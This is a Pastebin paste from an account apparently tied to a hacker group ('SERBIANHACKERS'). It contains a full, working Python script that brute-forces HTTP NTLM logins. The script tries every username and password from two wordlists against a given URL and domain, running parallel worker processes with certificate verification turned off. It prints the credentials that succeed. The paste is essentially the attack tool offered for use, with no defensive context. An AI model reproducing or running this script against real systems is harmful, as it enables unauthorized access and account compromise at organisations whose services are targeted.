Advertisement
SERBIANHACKERS

SRBTOOL | Brute HTTP NTLM

Apr 14th, 2017
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.30 KB | None | 0 0
  1. #SRBHACKERS
  2.  
  3. #!/usr/bin/env python
  4.  
  5.  
  6. import requests
  7. from requests_ntlm import HttpNtlmAuth
  8. import multiprocessing
  9. import sys
  10. import Queue
  11.  
  12.  
  13. def worker(url, cred_queue, success_queue, domain):
  14.     print '[*] Starting new worker thread.'
  15.     while True:
  16.         # If there are no creds to test, stop the thread
  17.         try:
  18.             creds = cred_queue.get(timeout=10)
  19.         except Queue.Empty:
  20.             print '[-] Credential queue is empty, quitting.'
  21.             return
  22.  
  23.         # If there are good creds in the queue, stop the thread
  24.         if not success_queue.empty():
  25.             print '[-] Success queue has credentials, quitting'
  26.             return
  27.  
  28.         # Check a set of creds. If successful add them to the success_queue
  29.         # and stop the thread.
  30.         user = '{0}\\{1}'.format(domain, creds[0])
  31.         auth = HttpNtlmAuth(user, creds[1])
  32.         resp = requests.get(url, auth=auth, verify=False)
  33.         if resp.status_code == 200:
  34.             print '[+] Success: {0}/{1}'.format(creds[0], creds[1])
  35.             success_queue.put(creds)
  36.             return
  37.         else:
  38.             print '[-] Failure: {0}/{1}'.format(creds[0], creds[1])
  39.  
  40.  
  41. if __name__ == '__main__':
  42.     if len(sys.argv) != 5:
  43.         print 'USAGE: brute_http_ntlm.py url userfile passfile domain'
  44.         sys.exit()
  45.  
  46.     cred_queue = multiprocessing.Queue()
  47.     success_queue = multiprocessing.Queue()
  48.     procs = []
  49.  
  50.     # Create one thread for each processor.
  51.     for i in range(multiprocessing.cpu_count()):
  52.         p = multiprocessing.Process(target=worker, args=(sys.argv[1],
  53.                                                          cred_queue,
  54.                                                          success_queue,
  55.                                                          sys.argv[4]))
  56.         procs.append(p)
  57.         p.start()
  58.  
  59.     for user in open(sys.argv[2]):
  60.         user = user.rstrip('\r\n')
  61.         if user == '':
  62.             continue
  63.         for pwd in open(sys.argv[3]):
  64.             pwd = pwd.rstrip('\r\n')
  65.             cred_queue.put((user, pwd))
  66.  
  67.     # Wait for all worker processes to finish
  68.     for p in procs:
  69.         p.join()
  70.  
  71.     while not success_queue.empty():
  72.         user, pwd = success_queue.get()
  73.         print 'User: {0} Pass: {1}'.format(user, pwd)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement